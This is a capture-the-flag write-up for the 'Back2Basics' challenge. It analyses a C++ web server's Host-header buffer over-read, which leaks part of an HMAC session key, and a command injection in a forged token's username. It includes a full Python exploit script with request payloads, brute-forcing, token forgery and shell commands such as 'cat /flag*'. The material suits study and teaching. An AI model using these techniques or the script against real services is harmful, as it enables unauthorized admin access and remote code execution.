Back2Basics Web Writeup - CyberChampions Zinad CTF 2026

Writeup for the Back2Basics web challenge from the CyberChampions Zinad CTF 2026 — exploiting a buffer over-read to leak HMAC session keys and command injection for RCE.

Back2Basics — Web Writeup

Challenge: Back2Basics Category: Binary — Web Exploitation CTF: CyberChampions Zinad CTF 2026 Flag: ZiChamp{D0_y0u_bl333333333d?}


Table of Contents

  1. Challenge Overview
  2. Source Code Analysis
  3. Vulnerability #1: Buffer Over-read
  4. Vulnerability #2: Command Injection
  5. Exploitation
  6. Flag Capture

Challenge Overview

The challenge provides source code for a C++ web server (server.cpp) that implements:

  • User registration and authentication
  • JWT-like token system with HMAC-SHA256 signing
  • Admin functionality including user management and logging
  • A diagnostic endpoint at /api/server/info

The goal is to gain admin access and execute arbitrary commands to retrieve the flag.


Source Code Analysis

Server Architecture

The server is a custom HTTP server written in C++ using raw sockets. Key components:

#define PORT 8080
#define BUFFER_SIZE 4096
#define MAX_FIELD_LEN 128

// Global secrets
char g_sessionKey[64];      // Used for token signing
char g_adminPassword[64];   // Admin password
sqlite3* g_db = nullptr;    // SQLite database

Session Key Generation

The session key is either loaded from environment or uses a default:

const char* envKey = std::getenv("SESSION_KEY");
if (envKey && strlen(envKey) > 0) {
    strncpy(g_sessionKey, envKey, sizeof(g_sessionKey) - 1);
} else {
    strcpy(g_sessionKey, "default_dev_key_change_me_now");
}

In production, this is a 32-character random string generated by:

std::string generateRandomString(size_t length) {
    static const char charset[] = 
        "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    // ... generates random string from charset
}

Token System

Tokens follow this format:

base64(username:role:timestamp).HMAC-SHA256-signature

Token Creation:

std::string createToken(const std::string& username, const std::string& role) {
    std::string sanitizedUsername = username;
    std::replace(sanitizedUsername.begin(), sanitizedUsername.end(), ':', '_');
    std::string payload = sanitizedUsername + ":" + role + ":" + std::to_string(time(nullptr));
    std::string signature = signData(payload, g_sessionKey);
    return encodeBase64(payload) + "." + signature;
}

Token Verification:

bool verifyToken(const std::string& token, std::string& username, std::string& role) {
    size_t dotPos = token.find('.');
    std::string encodedPayload = token.substr(0, dotPos);
    std::string providedSig = token.substr(dotPos + 1);
    std::string payload = decodeBase64(encodedPayload);

    std::string expectedSig = signData(payload, g_sessionKey);
    if (providedSig != expectedSig) return false;  // Signature check
    // Parse username and role from payload
    // ...
    return true;
}

Data Structure

struct RequestContext {
    char host[256];        // 256 bytes - Host header storage
    char sessionCache[48]; // 48 bytes - Debug cache (ADJACENT!)
    int hostLen;           // 4 bytes
};

The sessionCache is populated with sensitive data:

void initRequestContext(RequestContext* ctx) {
    memset(ctx, 0, sizeof(*ctx));
    snprintf(ctx->sessionCache, sizeof(ctx->sessionCache),
             "D:TS=%ld;SK=%s;", 
             time(nullptr), g_sessionKey);  // SESSION KEY STORED HERE!
}

Vulnerability #1: Buffer Over-read

Vulnerable Code

Location: parseHostFromHeaders() (lines 53-73)

std::string parseHostFromHeaders(const std::string& headers, RequestContext* ctx) {
    std::string hostLine = "Host: ";
    size_t start = headers.find(hostLine);
    if (start == std::string::npos) return "";

    start += hostLine.length();
    size_t end = headers.find("\r\n", start);
    if (end == std::string::npos) end = headers.length();
    size_t len = end - start;
    ctx->hostLen = len;
    if (len >= sizeof(ctx->host)) {
        // BUG: Copies exactly 256 bytes WITHOUT null terminator!
        memcpy(ctx->host, headers.c_str() + start, sizeof(ctx->host));
    } else {
        memcpy(ctx->host, headers.c_str() + start, len);
        ctx->host[len] = '\0';  // Only null-terminated in this branch!
    }
    return std::string(ctx->host);  // Constructs string, reads until null byte
}

The Bug

When the Host header is exactly 256 bytes or longer:

  1. The if (len >= sizeof(ctx->host)) branch is taken
  2. memcpy copies exactly 256 bytes into ctx->host
  3. No null terminator is added!
  4. std::string(ctx->host) reads until it finds a null byte
  5. Since sessionCache is adjacent in memory, it gets included!

Memory Layout Visualization

RequestContext Structure
┌─────────────────────────────────────────────────────────────────┐
│                         host[256]                                │
│  Offset 0-255                                                    │
│  ┌─────────────────────────────────────────────────────────────┐ │
│  │ A A A A A A A A A A ... A A A A A A A A A A A A A A A A A A │ │
│  │ (256 bytes of 'A', no null terminator!)                     │ │
│  └─────────────────────────────────────────────────────────────┘ │
├─────────────────────────────────────────────────────────────────┤
│                      sessionCache[48]                            │
│  Offset 256-303                                                  │
│  ┌─────────────────────────────────────────────────────────────┐ │
│  │ D:TS=1738934400;SK=40918238971ba271633a53dafb06;            │ │
│  │ ↑                                                           │ │
│  │ This data gets leaked when std::string reads past host!     │ │
│  └─────────────────────────────────────────────────────────────┘ │
├─────────────────────────────────────────────────────────────────┤
│  hostLen (int, 4 bytes)                                          │
└─────────────────────────────────────────────────────────────────┘

Exploitation Endpoint

The /api/server/info endpoint calls the vulnerable function:

std::string handleServerInfo(const std::string& headers) {
    RequestContext ctx;
    initRequestContext(&ctx);  // Populates sessionCache with key!

    std::string host = parseHostFromHeaders(headers, &ctx);  // VULNERABLE!
    std::ostringstream json;
    json << "{";
    json << "\"status\": \"ok\", ";
    json << "\"host\": \"" << escapeJson(host) << "\", ";  // Leaked data here!
    json << "\"timestamp\": " << time(nullptr);
    json << "}";
    return jsonResponse(200, json.str());
}

Key Truncation Problem

The session key is 32 characters, but sessionCache is only 48 bytes.

snprintf format: "D:TS=%ld;SK=%s;"
                  ↓
Header bytes:     D:TS= (5) + timestamp (10) + ;SK= (4) = 19 bytes
Remaining:        48 - 19 = 29 bytes for key + semicolon + null
Actual key:       32 characters
Result:           Only ~28 characters of key are stored!

This means 4 characters are truncated and must be bruteforced.


Vulnerability #2: Command Injection

Vulnerable Code

Location: processAdminLog() (lines 989-1015)

std::string processAdminLog(const std::string& adminUser, const std::string& message) {
    // Message IS validated (alphanumeric + some punctuation only)
    for (char c : message) {
        if (!std::isalnum(static_cast<unsigned char>(c)) && 
            c != ' ' && c != '.' && c != ',' && c != '!' && c != '?') {
            return "{\"error\": \"Message contains invalid characters\"}";
        }
    }

    if (message.length() > 200) {
        return "{\"error\": \"Message too long\"}";
    }
    // BUG: adminUser is NOT validated before shell injection!
    char cmd[512];
    snprintf(cmd, sizeof(cmd), 
        "echo \"[$(date +%%Y-%%m-%%d)] [%s] %s\"", 
        adminUser.c_str(),   // <-- DIRECTLY FROM TOKEN, NOT SANITIZED!
        message.c_str());
    char output[1024] = {0};
    FILE* pipe = popen(cmd, "r");  // Shell execution!
    if (pipe) {
        fgets(output, sizeof(output) - 1, pipe);
        pclose(pipe);
    }
    return "{\"success\": true, \"log\": \"" + escapeJson(std::string(output)) + "\"}";
}

The Attack Vector

The adminUser parameter comes from the decoded token:

std::string handleAdminLog(const std::string& headers, const std::string& body) {
    std::string username = getCurrentUser(headers);  // From token!
    std::string role = getCurrentUserRole(headers, username);

    if (role != "admin") {
        return jsonResponse(403, "{\"error\": \"Admin access required\"}");
    }
    // ... parse message from body ...
    std::string logResult = processAdminLog(username, message);  // username injected!
}

Injection Payload Construction

The shell command template:

echo "[$(date +%Y-%m-%d)] [USERNAME] MESSAGE"

Injecting x";cat /flag*;echo " as username:

echo "[$(date +%Y-%m-%d)] [x";cat /flag*;echo "] MESSAGE"
#                          ↑ closes quote
#                           ↑ ends echo command  
#                            ↑ executes cat /flag*
#                                       ↑ starts new echo to consume rest

Exploitation

Step 1: Leak Partial Session Key

Request:

GET /api/server/info HTTP/1.1
Host: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

(256 A characters in the Host header)

Response:

{
  "status": "ok",
  "host": "AAAA...AAA D:TS=1738934400;SK=40918238971ba271633a53dafb06",
  "timestamp": 1738934400
}

Extracted partial key: 40918238971ba271633a53dafb06 (28 chars)

Step 2: Bruteforce Missing Characters

The full key is 32 chars, we have 28, so 4 chars are missing.

Parameter Value
Charset a-z A-Z 0-9 (62 characters)
Missing chars 4
Combinations 62^4 = 14,776,336

For each candidate key, we:

  1. Create token: admin:admin:timestamp
  2. Sign with candidate key
  3. Test against /api/admin/users
  4. If 200 OK → found the key!
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
for combo in itertools.product(charset, repeat=4):
    test_key = partial_key + ''.join(combo)
    token = create_token('admin', 'admin', test_key)
    if requests.get('/api/admin/users', cookies={'token': token}).status_code == 200:
        return test_key  # Found: 40918238971ba271633a53dafb06837c

Step 3: Forge Malicious Admin Token

With the complete key 40918238971ba271633a53dafb06837c:

# Payload with command injection in username
username = 'x";cat /flag*;echo "'
role = 'admin'
timestamp = int(time.time())
payload = f'{username}:{role}:{timestamp}'
# Result: 'x";cat /flag*;echo ":admin:1738934400'

encoded_payload = base64.b64encode(payload.encode()).decode()
signature = hmac_sha256(payload, session_key)
token = f'{encoded_payload}.{signature}'

Step 4: Trigger Command Execution

Request:

POST /api/admin/log HTTP/1.1
Host: 3.250.2.237
Cookie: token=eCJjYXQgL2ZsYWcqO2VjaG8gIjphZG1pbjoxNzM4OTM0NDAw.abc123...
Content-Type: application/x-www-form-urlencoded

message=x

Server executes:

echo "[2026-02-07] [x";cat /flag*;echo "] x"

Response:

{
  "success": true,
  "log": "[2026-02-07] [AZiChamp{D0_y0u_bl333333333d?}] x\n"
}

Exploit Code

Complete Exploit Script

#!/usr/bin/env python3

import requests
import urllib3
import base64
import hmac
import hashlib
import time
import itertools
import sys

urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else 'https://3.250.2.237'

def sign_data(data: str, key: str) -> str:
    sig = hmac.new(key.encode(), data.encode(), hashlib.sha256).digest()
    return base64.b64encode(sig).decode()

def create_token(username: str, role: str, key: str) -> str:
    ts = int(time.time())
    payload = f'{username}:{role}:{ts}'
    enc = base64.b64encode(payload.encode()).decode()
    sig = sign_data(payload, key)
    return f'{enc}.{sig}'

def test_key(key: str) -> bool:
    """Test if key allows admin access"""
    token = create_token('admin', 'admin', key)
    try:
        resp = requests.get(
            f'{TARGET}/api/admin/users', 
            cookies={'token': token}, 
            verify=False, 
            timeout=5
        )
        return resp.status_code == 200 and 'users' in resp.text
    except:
        return False

def execute_command(key: str, cmd: str) -> str:
    """Execute command via injection in username field"""
    payload_user = f'x";{cmd};echo "'
    token = create_token(payload_user, 'admin', key)
    
    try:
        resp = requests.post(
            f'{TARGET}/api/admin/log',
            cookies={'token': token},
            data={'message': 'test'},
            verify=False,
            timeout=15
        )
        return resp.text
    except Exception as e:
        return f"Error: {e}"

def leak_session_key():
    """Exploit buffer over-read to leak session key"""
    print("[*] Stage 1: Leaking session key via buffer over-read...")
    
    padding = 'A' * 256
    
    try:
        resp = requests.get(
            f'{TARGET}/api/server/info',
            headers={'Host': padding},
            verify=False,
            timeout=10
        )
        
        data = resp.json()
        leaked_host = data.get('host', '')
        
        print(f"[*] Total leaked length: {len(leaked_host)}")
        
        if len(leaked_host) > 256:
            session_cache = leaked_host[256:]
            print(f"[*] Session cache leak: {repr(session_cache)}")
            
            if 'SK=' in session_cache:
                start = session_cache.find('SK=') + 3
                end = session_cache.find(';', start)
                if end == -1:
                    end = len(session_cache)
                
                partial_key = session_cache[start:end].rstrip('\x00').strip()
                print(f"[+] Partial key extracted: {partial_key}")
                print(f"[*] Partial key length: {len(partial_key)}")
                return partial_key
        
        print("[-] Could not leak session key")
        return None
        
    except Exception as e:
        print(f"[-] Error: {e}")
        return None

def bruteforce_key(partial_key: str, max_extra: int = 6) -> str:
    """Bruteforce remaining characters of truncated key"""
    
    print(f"\n[*] Testing partial key directly...")
    if test_key(partial_key):
        print(f"[+] Partial key works!")
        return partial_key
    
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    
    for extra_len in range(1, max_extra + 1):
        print(f"\n[*] Bruteforcing +{extra_len} chars "
              f"({len(charset)**extra_len} combinations)...")
        
        count = 0
        total = len(charset) ** extra_len
        start_time = time.time()
        
        for combo in itertools.product(charset, repeat=extra_len):
            test_key_str = partial_key + ''.join(combo)
            count += 1
            
            if count % 500 == 0:
                elapsed = time.time() - start_time
                rate = count / elapsed if elapsed > 0 else 0
                eta = (total - count) / rate if rate > 0 else 0
                print(f"    Progress: {count}/{total} "
                      f"({100*count/total:.1f}%) - "
                      f"{rate:.1f}/s - ETA: {eta:.0f}s")
            
            if test_key(test_key_str):
                print(f"\n[+] FOUND KEY: {test_key_str}")
                return test_key_str
    
    return None

def main():
    print("=" * 60)
    print("Back2Basics CTF - Full Exploit")
    print("=" * 60)
    print(f"[*] Target: {TARGET}\n")
    
    # Step 1: Leak partial session key
    partial_key = leak_session_key()
    
    if not partial_key:
        print("\n[-] Failed to leak session key. Trying default key...")
        partial_key = "default_dev_key_change_me_now"
    
    # Step 2: Try to find working key
    working_key = bruteforce_key(partial_key)
    
    if not working_key:
        print("\n[-] Could not find working key")
        return
    
    print("\n" + "=" * 60)
    print(f"[+] WORKING KEY: {working_key}")
    print("=" * 60)
    
    # Step 3: Execute commands to find flag
    print("\n[*] Stage 2: Command injection to retrieve flag...")
    
    commands = [
        'cat /flag*',
        'cat /flag.txt', 
        'cat /flag',
        'ls -la /',
        'env | grep -i flag',
        'cat /app/flag*',
        'cat /root/flag*',
    ]
    
    for cmd in commands:
        print(f"\n>> Executing: {cmd}")
        result = execute_command(working_key, cmd)
        print(f"Response:\n{result}")
        
        for pattern in ['ZiChamp{', 'FLAG{', 'CTF{', 'flag{']:
            if pattern in result:
                print("\n" + "=" * 60)
                print("[+] FLAG FOUND!")
                print("=" * 60)
                return

if __name__ == '__main__':
    main()

Flag Capture

Execution

[*] Target: https://3.250.2.237
[*] Stage 1: Exploiting buffer over-read...
[*] Response host length: 284
[*] Leaked sessionCache: 'D:TS=1738934400;SK=40918238971ba271633a53dafb06'
[+] Extracted partial key: 40918238971ba271633a53dafb06
[*] Partial key length: 28 chars
[*] Stage 2: Bruteforcing missing key characters...
[*] Trying +4 characters (14,776,336 combinations)...
    Progress: 1,000/14,776,336 (0.0%) - 42 keys/sec
    ...
[+] FOUND COMPLETE KEY: 40918238971ba271633a53dafb06837c
==================================================
Session Key: 40918238971ba271633a53dafb06837c
==================================================
[*] Stage 3: Executing command injection...
[*] Trying: cat /flag*
Raw response:
{"success": true, "log": "[2026-02-07] [AZiChamp{D0_y0u_bl333333333d?}] x\n"}
==================================================
FLAG: ZiChamp{D0_y0u_bl333333333d?}
==================================================

Flag

ZiChamp{D0_y0u_bl333333333d?}

References